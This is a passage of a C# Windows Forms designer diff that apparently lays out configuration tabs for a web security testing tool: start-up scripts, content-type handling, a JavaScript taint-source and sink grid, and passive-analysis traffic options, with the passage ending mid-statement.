this.ConfigScriptRbPathsTB.Size = new System.Drawing.Size(425, 0); + this.ConfigScriptRbPathsTB.TabIndex = 1; + // + // label12 + // + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(3, 5); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(149, 13); + this.label12.TabIndex = 61; + this.label12.Text = "Commands to run on Start-Up:"; + // + // ConfigScriptCommandApplyChangesLL + // + this.ConfigScriptCommandApplyChangesLL.ActiveLinkColor = System.Drawing.Color.Red; + this.ConfigScriptCommandApplyChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigScriptCommandApplyChangesLL.AutoSize = true; + this.ConfigScriptCommandApplyChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigScriptCommandApplyChangesLL.LinkBehavior = System.Windows.Forms.LinkBehavior.AlwaysUnderline; + this.ConfigScriptCommandApplyChangesLL.Location = new System.Drawing.Point(352, 6); + this.ConfigScriptCommandApplyChangesLL.Name = "ConfigScriptCommandApplyChangesLL"; + this.ConfigScriptCommandApplyChangesLL.Size = new System.Drawing.Size(36, 13); + this.ConfigScriptCommandApplyChangesLL.TabIndex = 60; + this.ConfigScriptCommandApplyChangesLL.TabStop = true; + this.ConfigScriptCommandApplyChangesLL.Text = "Save"; + this.ConfigScriptCommandApplyChangesLL.VisitedLinkColor = System.Drawing.Color.Blue; + this.ConfigScriptCommandApplyChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigScriptCommandApplyChangesLL_LinkClicked); + // + // ConfigScriptCommandCancelChangesLL + // + this.ConfigScriptCommandCancelChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigScriptCommandCancelChangesLL.AutoSize = true; + this.ConfigScriptCommandCancelChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigScriptCommandCancelChangesLL.Location = new System.Drawing.Point(397, 6); + this.ConfigScriptCommandCancelChangesLL.Name = "ConfigScriptCommandCancelChangesLL"; + this.ConfigScriptCommandCancelChangesLL.Size = new System.Drawing.Size(46, 13); + this.ConfigScriptCommandCancelChangesLL.TabIndex = 59; + this.ConfigScriptCommandCancelChangesLL.TabStop = true; + this.ConfigScriptCommandCancelChangesLL.Text = "Cancel"; + this.ConfigScriptCommandCancelChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigScriptCommandCancelChangesLL_LinkClicked); + // + // ConfigScriptCommandSplit + // + this.ConfigScriptCommandSplit.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigScriptCommandSplit.Location = new System.Drawing.Point(0, 20); + this.ConfigScriptCommandSplit.Margin = new System.Windows.Forms.Padding(0); + this.ConfigScriptCommandSplit.Name = "ConfigScriptCommandSplit"; + this.ConfigScriptCommandSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ConfigScriptCommandSplit.Panel1 + // + this.ConfigScriptCommandSplit.Panel1.Controls.Add(this.label17); + this.ConfigScriptCommandSplit.Panel1.Controls.Add(this.ConfigScriptPyCommandsTB); + // + // ConfigScriptCommandSplit.Panel2 + // + this.ConfigScriptCommandSplit.Panel2.Controls.Add(this.label18); + this.ConfigScriptCommandSplit.Panel2.Controls.Add(this.ConfigScriptRbCommandsTB); + this.ConfigScriptCommandSplit.Size = new System.Drawing.Size(446, 54); + this.ConfigScriptCommandSplit.SplitterDistance = 25; + this.ConfigScriptCommandSplit.SplitterWidth = 2; + this.ConfigScriptCommandSplit.TabIndex = 1; + // + // label17 + // + this.label17.AutoSize = true; + this.label17.Location = new System.Drawing.Point(4, 4); + this.label17.Name = "label17"; + this.label17.Size = new System.Drawing.Size(43, 13); + this.label17.TabIndex = 64; + this.label17.Text = "Python:"; + // + // ConfigScriptPyCommandsTB + // + this.ConfigScriptPyCommandsTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigScriptPyCommandsTB.Location = new System.Drawing.Point(0, 20); + this.ConfigScriptPyCommandsTB.Multiline = true; + this.ConfigScriptPyCommandsTB.Name = "ConfigScriptPyCommandsTB"; + this.ConfigScriptPyCommandsTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.ConfigScriptPyCommandsTB.Size = new System.Drawing.Size(446, 7); + this.ConfigScriptPyCommandsTB.TabIndex = 0; + // + // label18 + // + this.label18.AutoSize = true; + this.label18.Location = new System.Drawing.Point(4, 4); + this.label18.Name = "label18"; + this.label18.Size = new System.Drawing.Size(35, 13); + this.label18.TabIndex = 65; + this.label18.Text = "Ruby:"; + // + // ConfigScriptRbCommandsTB + // + this.ConfigScriptRbCommandsTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigScriptRbCommandsTB.Location = new System.Drawing.Point(0, 20); + this.ConfigScriptRbCommandsTB.Multiline = true; + this.ConfigScriptRbCommandsTB.Name = "ConfigScriptRbCommandsTB"; + this.ConfigScriptRbCommandsTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.ConfigScriptRbCommandsTB.Size = new System.Drawing.Size(446, 0); + this.ConfigScriptRbCommandsTB.TabIndex = 1; + // + // ConfigHTTPAPITab + // + this.ConfigHTTPAPITab.Controls.Add(this.ConfigHTTPAPIBaseSplit); + this.ConfigHTTPAPITab.Location = new System.Drawing.Point(4, 22); + this.ConfigHTTPAPITab.Name = "ConfigHTTPAPITab"; + this.ConfigHTTPAPITab.Size = new System.Drawing.Size(873, 0); + this.ConfigHTTPAPITab.TabIndex = 3; + this.ConfigHTTPAPITab.Text = "HTTP API"; + this.ConfigHTTPAPITab.UseVisualStyleBackColor = true; + // + // ConfigHTTPAPIBaseSplit + // + this.ConfigHTTPAPIBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ConfigHTTPAPIBaseSplit.Location = new System.Drawing.Point(0, 0); + this.ConfigHTTPAPIBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.ConfigHTTPAPIBaseSplit.Name = "ConfigHTTPAPIBaseSplit"; + // + // ConfigHTTPAPIBaseSplit.Panel1 + // + this.ConfigHTTPAPIBaseSplit.Panel1.Controls.Add(this.ConfigRequestTypesTB); + this.ConfigHTTPAPIBaseSplit.Panel1.Controls.Add(this.label19); + this.ConfigHTTPAPIBaseSplit.Panel1.Controls.Add(this.ConfigRequestTypesCancelChangesLL); + this.ConfigHTTPAPIBaseSplit.Panel1.Controls.Add(this.ConfigRequestTypesApplyChangesLL); + // + // ConfigHTTPAPIBaseSplit.Panel2 + // + this.ConfigHTTPAPIBaseSplit.Panel2.Controls.Add(this.ConfigResponseTypesTB); + this.ConfigHTTPAPIBaseSplit.Panel2.Controls.Add(this.label22); + this.ConfigHTTPAPIBaseSplit.Panel2.Controls.Add(this.ConfigResponseTypesApplyChangesLL); + this.ConfigHTTPAPIBaseSplit.Panel2.Controls.Add(this.ConfigResponseTypesCancelChangesLL); + this.ConfigHTTPAPIBaseSplit.Size = new System.Drawing.Size(873, 0); + this.ConfigHTTPAPIBaseSplit.SplitterDistance = 425; + this.ConfigHTTPAPIBaseSplit.SplitterWidth = 2; + this.ConfigHTTPAPIBaseSplit.TabIndex = 1; + // + // ConfigRequestTypesTB + // + this.ConfigRequestTypesTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigRequestTypesTB.Location = new System.Drawing.Point(0, 20); + this.ConfigRequestTypesTB.Multiline = true; + this.ConfigRequestTypesTB.Name = "ConfigRequestTypesTB"; + this.ConfigRequestTypesTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.ConfigRequestTypesTB.Size = new System.Drawing.Size(425, 0); + this.ConfigRequestTypesTB.TabIndex = 69; + // + // label19 + // + this.label19.AutoSize = true; + this.label19.Location = new System.Drawing.Point(1, 3); + this.label19.Name = "label19"; + this.label19.Size = new System.Drawing.Size(239, 13); + this.label19.TabIndex = 68; + this.label19.Text = "Request Content-Type headers treated as TEXT:"; + // + // ConfigRequestTypesCancelChangesLL + // + this.ConfigRequestTypesCancelChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigRequestTypesCancelChangesLL.AutoSize = true; + this.ConfigRequestTypesCancelChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigRequestTypesCancelChangesLL.Location = new System.Drawing.Point(377, 4); + this.ConfigRequestTypesCancelChangesLL.Name = "ConfigRequestTypesCancelChangesLL"; + this.ConfigRequestTypesCancelChangesLL.Size = new System.Drawing.Size(46, 13); + this.ConfigRequestTypesCancelChangesLL.TabIndex = 66; + this.ConfigRequestTypesCancelChangesLL.TabStop = true; + this.ConfigRequestTypesCancelChangesLL.Text = "Cancel"; + this.ConfigRequestTypesCancelChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigRequestTypesCancelChangesLL_LinkClicked); + // + // ConfigRequestTypesApplyChangesLL + // + this.ConfigRequestTypesApplyChangesLL.ActiveLinkColor = System.Drawing.Color.Red; + this.ConfigRequestTypesApplyChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigRequestTypesApplyChangesLL.AutoSize = true; + this.ConfigRequestTypesApplyChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigRequestTypesApplyChangesLL.LinkBehavior = System.Windows.Forms.LinkBehavior.AlwaysUnderline; + this.ConfigRequestTypesApplyChangesLL.Location = new System.Drawing.Point(329, 4); + this.ConfigRequestTypesApplyChangesLL.Name = "ConfigRequestTypesApplyChangesLL"; + this.ConfigRequestTypesApplyChangesLL.Size = new System.Drawing.Size(38, 13); + this.ConfigRequestTypesApplyChangesLL.TabIndex = 67; + this.ConfigRequestTypesApplyChangesLL.TabStop = true; + this.ConfigRequestTypesApplyChangesLL.Text = "Apply"; + this.ConfigRequestTypesApplyChangesLL.VisitedLinkColor = System.Drawing.Color.Blue; + this.ConfigRequestTypesApplyChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigRequestTypesApplyChangesLL_LinkClicked); + // + // ConfigResponseTypesTB + // + this.ConfigResponseTypesTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigResponseTypesTB.Location = new System.Drawing.Point(0, 20); + this.ConfigResponseTypesTB.Multiline = true; + this.ConfigResponseTypesTB.Name = "ConfigResponseTypesTB"; + this.ConfigResponseTypesTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.ConfigResponseTypesTB.Size = new System.Drawing.Size(446, 0); + this.ConfigResponseTypesTB.TabIndex = 65; + // + // label22 + // + this.label22.AutoSize = true; + this.label22.Location = new System.Drawing.Point(3, 5); + this.label22.Name = "label22"; + this.label22.Size = new System.Drawing.Size(247, 13); + this.label22.TabIndex = 61; + this.label22.Text = "Response Content-Type headers treated as TEXT:"; + // + // ConfigResponseTypesApplyChangesLL + // + this.ConfigResponseTypesApplyChangesLL.ActiveLinkColor = System.Drawing.Color.Red; + this.ConfigResponseTypesApplyChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigResponseTypesApplyChangesLL.AutoSize = true; + this.ConfigResponseTypesApplyChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigResponseTypesApplyChangesLL.LinkBehavior = System.Windows.Forms.LinkBehavior.AlwaysUnderline; + this.ConfigResponseTypesApplyChangesLL.Location = new System.Drawing.Point(352, 6); + this.ConfigResponseTypesApplyChangesLL.Name = "ConfigResponseTypesApplyChangesLL"; + this.ConfigResponseTypesApplyChangesLL.Size = new System.Drawing.Size(38, 13); + this.ConfigResponseTypesApplyChangesLL.TabIndex = 60; + this.ConfigResponseTypesApplyChangesLL.TabStop = true; + this.ConfigResponseTypesApplyChangesLL.Text = "Apply"; + this.ConfigResponseTypesApplyChangesLL.VisitedLinkColor = System.Drawing.Color.Blue; + this.ConfigResponseTypesApplyChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigResponseTypesApplyChangesLL_LinkClicked); + // + // ConfigResponseTypesCancelChangesLL + // + this.ConfigResponseTypesCancelChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigResponseTypesCancelChangesLL.AutoSize = true; + this.ConfigResponseTypesCancelChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigResponseTypesCancelChangesLL.Location = new System.Drawing.Point(397, 6); + this.ConfigResponseTypesCancelChangesLL.Name = "ConfigResponseTypesCancelChangesLL"; + this.ConfigResponseTypesCancelChangesLL.Size = new System.Drawing.Size(46, 13); + this.ConfigResponseTypesCancelChangesLL.TabIndex = 59; + this.ConfigResponseTypesCancelChangesLL.TabStop = true; + this.ConfigResponseTypesCancelChangesLL.Text = "Cancel"; + this.ConfigResponseTypesCancelChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigResponseTypesCancelChangesLL_LinkClicked); + // + // ConfigTaintConfigTab + // + this.ConfigTaintConfigTab.Controls.Add(this.ConfigJSTaintConfigCancelChangesLL); + this.ConfigTaintConfigTab.Controls.Add(this.ConfigJSTaintConfigApplyChangesLL); + this.ConfigTaintConfigTab.Controls.Add(this.ConfigDefaultJSTaintConfigGrid); + this.ConfigTaintConfigTab.Location = new System.Drawing.Point(4, 22); + this.ConfigTaintConfigTab.Margin = new System.Windows.Forms.Padding(0); + this.ConfigTaintConfigTab.Name = "ConfigTaintConfigTab"; + this.ConfigTaintConfigTab.Size = new System.Drawing.Size(873, 0); + this.ConfigTaintConfigTab.TabIndex = 6; + this.ConfigTaintConfigTab.Text = "Default JS Taint Config"; + this.ConfigTaintConfigTab.UseVisualStyleBackColor = true; + // + // ConfigJSTaintConfigCancelChangesLL + // + this.ConfigJSTaintConfigCancelChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigJSTaintConfigCancelChangesLL.AutoSize = true; + this.ConfigJSTaintConfigCancelChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigJSTaintConfigCancelChangesLL.Location = new System.Drawing.Point(818, 10); + this.ConfigJSTaintConfigCancelChangesLL.Name = "ConfigJSTaintConfigCancelChangesLL"; + this.ConfigJSTaintConfigCancelChangesLL.Size = new System.Drawing.Size(46, 13); + this.ConfigJSTaintConfigCancelChangesLL.TabIndex = 68; + this.ConfigJSTaintConfigCancelChangesLL.TabStop = true; + this.ConfigJSTaintConfigCancelChangesLL.Text = "Cancel"; + // + // ConfigJSTaintConfigApplyChangesLL + // + this.ConfigJSTaintConfigApplyChangesLL.ActiveLinkColor = System.Drawing.Color.Red; + this.ConfigJSTaintConfigApplyChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigJSTaintConfigApplyChangesLL.AutoSize = true; + this.ConfigJSTaintConfigApplyChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigJSTaintConfigApplyChangesLL.LinkBehavior = System.Windows.Forms.LinkBehavior.AlwaysUnderline; + this.ConfigJSTaintConfigApplyChangesLL.Location = new System.Drawing.Point(770, 10); + this.ConfigJSTaintConfigApplyChangesLL.Name = "ConfigJSTaintConfigApplyChangesLL"; + this.ConfigJSTaintConfigApplyChangesLL.Size = new System.Drawing.Size(36, 13); + this.ConfigJSTaintConfigApplyChangesLL.TabIndex = 69; + this.ConfigJSTaintConfigApplyChangesLL.TabStop = true; + this.ConfigJSTaintConfigApplyChangesLL.Text = "Save"; + this.ConfigJSTaintConfigApplyChangesLL.VisitedLinkColor = System.Drawing.Color.Blue; + // + // ConfigDefaultJSTaintConfigGrid + // + this.ConfigDefaultJSTaintConfigGrid.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigDefaultJSTaintConfigGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.ConfigDefaultJSTaintConfigGrid.BackgroundColor = System.Drawing.Color.White; + this.ConfigDefaultJSTaintConfigGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ConfigDefaultJSTaintConfigGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ConfigDefaultSourceObjectsColumn, + this.ConfigDefaultSinkObjectsColumn, + this.ConfigDefaultArgumentAssignedASourceMethodsColumn, + this.ConfigDefaultArgumentAssignedToSinkMethodsColumn, + this.ConfigDefaultSourceReturningMethodsColumn, + this.ConfigDefaultSinkReturningMethodsColumn, + this.ConfigDefaultArgumentReturningMethodsColumn}); + this.ConfigDefaultJSTaintConfigGrid.Location = new System.Drawing.Point(0, 30); + this.ConfigDefaultJSTaintConfigGrid.Margin = new System.Windows.Forms.Padding(0); + this.ConfigDefaultJSTaintConfigGrid.Name = "ConfigDefaultJSTaintConfigGrid"; + this.ConfigDefaultJSTaintConfigGrid.Size = new System.Drawing.Size(873, 1256); + this.ConfigDefaultJSTaintConfigGrid.TabIndex = 0; + // + // ConfigDefaultSourceObjectsColumn + // + this.ConfigDefaultSourceObjectsColumn.HeaderText = "Source Objects"; + this.ConfigDefaultSourceObjectsColumn.Name = "ConfigDefaultSourceObjectsColumn"; + // + // ConfigDefaultSinkObjectsColumn + // + this.ConfigDefaultSinkObjectsColumn.HeaderText = "Sink Objects"; + this.ConfigDefaultSinkObjectsColumn.Name = "ConfigDefaultSinkObjectsColumn"; + // + // ConfigDefaultArgumentAssignedASourceMethodsColumn + // + this.ConfigDefaultArgumentAssignedASourceMethodsColumn.HeaderText = "Argument Assigned A Source Methods"; + this.ConfigDefaultArgumentAssignedASourceMethodsColumn.Name = "ConfigDefaultArgumentAssignedASourceMethodsColumn"; + // + // ConfigDefaultArgumentAssignedToSinkMethodsColumn + // + this.ConfigDefaultArgumentAssignedToSinkMethodsColumn.HeaderText = "Argument Assigned To Sink Methods"; + this.ConfigDefaultArgumentAssignedToSinkMethodsColumn.Name = "ConfigDefaultArgumentAssignedToSinkMethodsColumn"; + // + // ConfigDefaultSourceReturningMethodsColumn + // + this.ConfigDefaultSourceReturningMethodsColumn.HeaderText = "Source Returning Methods"; + this.ConfigDefaultSourceReturningMethodsColumn.Name = "ConfigDefaultSourceReturningMethodsColumn"; + // + // ConfigDefaultSinkReturningMethodsColumn + // + this.ConfigDefaultSinkReturningMethodsColumn.HeaderText = "Sink Returning Methods"; + this.ConfigDefaultSinkReturningMethodsColumn.Name = "ConfigDefaultSinkReturningMethodsColumn"; + // + // ConfigDefaultArgumentReturningMethodsColumn + // + this.ConfigDefaultArgumentReturningMethodsColumn.HeaderText = "Argument Returning Methods"; + this.ConfigDefaultArgumentReturningMethodsColumn.Name = "ConfigDefaultArgumentReturningMethodsColumn"; + // + // ConfigPassiveAnalysisTab + // + this.ConfigPassiveAnalysisTab.Controls.Add(this.ConfigPassiveAnalysisOnProbeTrafficCB); + this.ConfigPassiveAnalysisTab.Controls.Add(this.ConfigPassiveAnalysisOnScanTrafficCB); + this.ConfigPassiveAnalysisTab.Controls.Add(this.ConfigPassiveAnalysisOnTestTrafficCB); + this.ConfigPassiveAnalysisTab.Controls.Add(this.ConfigPassiveAnalysisOnShellTrafficCB); + this.ConfigPassiveAnalysisTab.Controls.Add(this.ConfigPassiveAnalysisOnProxyTrafficCB); + this.ConfigPassiveAnalysisTab.Controls.Add(this.label34); + this.ConfigPassiveAnalysisTab.Controls.Add(this.ConfigPassiveAnalysisSettingsCancelChangesLL); + this.ConfigPassiveAnalysisTab.Controls.Add(this.ConfigPassiveAnalysisSettingsApplyChangesLL); + this.ConfigPassiveAnalysisTab.Location = new System.Drawing.Point(4, 22); + this.ConfigPassiveAnalysisTab.Name = "ConfigPassiveAnalysisTab"; + this.ConfigPassiveAnalysisTab.Size = new System.Drawing.Size(873, 0); + this.ConfigPassiveAnalysisTab.TabIndex = 8; + this.ConfigPassiveAnalysisTab.Text = "Passive Analysis"; + this.ConfigPassiveAnalysisTab.UseVisualStyleBackColor = true; + // + // ConfigPassiveAnalysisOnProbeTrafficCB + // + this.ConfigPassiveAnalysisOnProbeTrafficCB.AutoSize = true; + this.ConfigPassiveAnalysisOnProbeTrafficCB.Checked = true; + this.ConfigPassiveAnalysisOnProbeTrafficCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigPassiveAnalysisOnProbeTrafficCB.Location = new System.Drawing.Point(54, 159); + this.ConfigPassiveAnalysisOnProbeTrafficCB.Name = "ConfigPassiveAnalysisOnProbeTrafficCB"; + this.ConfigPassiveAnalysisOnProbeTrafficCB.Size = new System.Drawing.Size(61, 17); + this.ConfigPassiveAnalysisOnProbeTrafficCB.TabIndex = 79; + this.ConfigPassiveAnalysisOnProbeTrafficCB.Text = "Crawler"; + this.ConfigPassiveAnalysisOnProbeTrafficCB.UseVisualStyleBackColor = true; + // + // ConfigPassiveAnalysisOnScanTrafficCB + // + this.ConfigPassiveAnalysisOnScanTrafficCB.AutoSize = true; + this.ConfigPassiveAnalysisOnScanTrafficCB.Location = new System.Drawing.Point(54, 136); + this.ConfigPassiveAnalysisOnScanTrafficCB.Name = "ConfigPassiveAnalysisOnScanTrafficCB"; + this.ConfigPassiveAnalysisOnScanTrafficCB.Size = new System.Drawing.Size(125, 17); + this.ConfigPassiveAnalysisOnScanTrafficCB.TabIndex = 78; + this.ConfigPassiveAnalysisOnScanTrafficCB.Text = "Automated Scanning"; + this.ConfigPassiveAnalysisOnScanTrafficCB.UseVisualStyleBackColor = true; + // + // ConfigPassiveAnalysisOnTestTrafficCB + // + this.ConfigPassiveAnalysisOnTestTrafficCB.AutoSize = true; + this.ConfigPassiveAnalysisOnTestTrafficCB.Checked = true; + this.ConfigPassiveAnalysisOnTestTrafficCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigPassiveAnalysisOnTestTrafficCB.Location = new System.Drawing.Point(54, 113); + this.ConfigPassiveAnalysisOnTestTrafficCB.Name = "ConfigPassiveAnalysisOnTestTrafficCB"; + this.ConfigPassiveAnalysisOnTestTrafficCB.Size = new System.Drawing.Size(99, 17); + this.ConfigPassiveAnalysisOnTestTrafficCB.TabIndex = 77; + this.ConfigPassiveAnalysisOnTestTrafficCB.Text = "Manual Testing"; + this.ConfigPassiveAnalysisOnTestTrafficCB.UseVisualStyleBackColor = true; + // + // ConfigPassiveAnalysisOnShellTrafficCB + // + this.ConfigPassiveAnalysisOnShellTrafficCB.AutoSize = true; + this.ConfigPassiveAnalysisOnShellTrafficCB.Checked = true; + this.ConfigPassiveAnalysisOnShellTrafficCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigPassiveAnalysisOnShellTrafficCB.Location = new System.Drawing.Point(54, 90); + this.ConfigPassiveAnalysisOnShellTrafficCB.Name = "ConfigPassiveAnalysisOnShellTrafficCB"; + this.ConfigPassiveAnalysisOnShellTrafficCB.Size = new System.Drawing.Size(93, 17); + this.ConfigPassiveAnalysisOnShellTrafficCB.TabIndex = 76; + this.ConfigPassiveAnalysisOnShellTrafficCB.Text = "Scripting Shell"; + this.ConfigPassiveAnalysisOnShellTrafficCB.UseVisualStyleBackColor = true; + // + // ConfigPassiveAnalysisOnProxyTrafficCB + // + this.ConfigPassiveAnalysisOnProxyTrafficCB.AutoSize = true; + this.ConfigPassiveAnalysisOnProxyTrafficCB.Checked = true; + this.ConfigPassiveAnalysisOnProxyTrafficCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigPassiveAnalysisOnProxyTrafficCB.Location = new System.Drawing.Point(54, 67); + this.ConfigPassiveAnalysisOnProxyTrafficCB.Name = "ConfigPassiveAnalysisOnProxyTrafficCB"; + this.ConfigPassiveAnalysisOnProxyTrafficCB.Size = new System.Drawing.Size(52, 17); + this.ConfigPassiveAnalysisOnProxyTrafficCB.TabIndex = 75; + this.ConfigPassiveAnalysisOnProxyTrafficCB.Text = "Proxy"; + this.ConfigPassiveAnalysisOnProxyTrafficCB.UseVisualStyleBackColor = true; + // + // label34 + // + this.label34.AutoSize = true; + this.label34.Location = new System.Drawing.Point(19, 35); + this.label34.Name = "label34"; + this.label34.Size = new System.Drawing.Size(307, 13); + this.label34.TabIndex = 74; + this.label34.Text = "Run Passive Plugins on HTTP traffic from the selected sources:"; + // + // ConfigPassiveAnalysisSettingsCancelChangesLL + // + this.ConfigPassiveAnalysisSettingsCancelChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigPassiveAnalysisSettingsCancelChangesLL.AutoSize = true; + this.ConfigPassiveAnalysisSettingsCancelChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigPassiveAnalysisSettingsCancelChangesLL.Location = new System.Drawing.Point(815, 15); + this.ConfigPassiveAnalysisSettingsCancelChangesLL.Name = "ConfigPassiveAnalysisSettingsCancelChangesLL"; + this.ConfigPassiveAnalysisSettingsCancelChangesLL.Size = new System.Drawing.Size(46, 13); + this.ConfigPassiveAnalysisSettingsCancelChangesLL.TabIndex = 72; + this.ConfigPassiveAnalysisSettingsCancelChangesLL.TabStop = true; + this.ConfigPassiveAnalysisSettingsCancelChangesLL.Text = "Cancel"; + this.ConfigPassiveAnalysisSettingsCancelChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigPassiveAnalysisSettingsCancelChangesLL_LinkClicked); + // + // ConfigPassiveAnalysisSettingsApplyChangesLL + // + this.ConfigPassiveAnalysisSettingsApplyChangesLL.ActiveLinkColor = System.Drawing.Color.Red; + this.ConfigPassiveAnalysisSettingsApplyChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigPassiveAnalysisSettingsApplyChangesLL.AutoSize = true; + this.ConfigPassiveAnalysisSettingsApplyChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigPassiveAnalysisSettingsApplyChangesLL.LinkBehavior = System.Windows.Forms.LinkBehavior.AlwaysUnderline; + this.ConfigPassiveAnalysisSettingsApplyChangesLL.Location = new System.Drawing.Point(767, 15); + this.ConfigPassiveAnalysisSettingsApplyChangesLL.Name = "ConfigPassiveAnalysisSettingsApplyChangesLL"; + this.ConfigPassiveAnalysisSettingsApplyChangesLL.Size = new System.Drawing.Size(38, 13); + this.ConfigPassiveAnalysisSettingsApplyChangesLL.TabIndex = 73; + this.ConfigPassiveAnalysisSettingsApplyChangesLL.TabStop = true; + this.ConfigPassiveAnalysisSettingsApplyChangesLL.Text = "Apply"; + this.ConfigPassiveAnalysisSettingsApplyChangesLL.VisitedLinkColor = System.Drawing.Color.Blue; + this.ConfigPassiveAnalysisSettingsApplyChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigPassiveAnalysisSettingsApplyChangesLL_LinkClicked); + // + // TopMenu + // + this.TopMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + 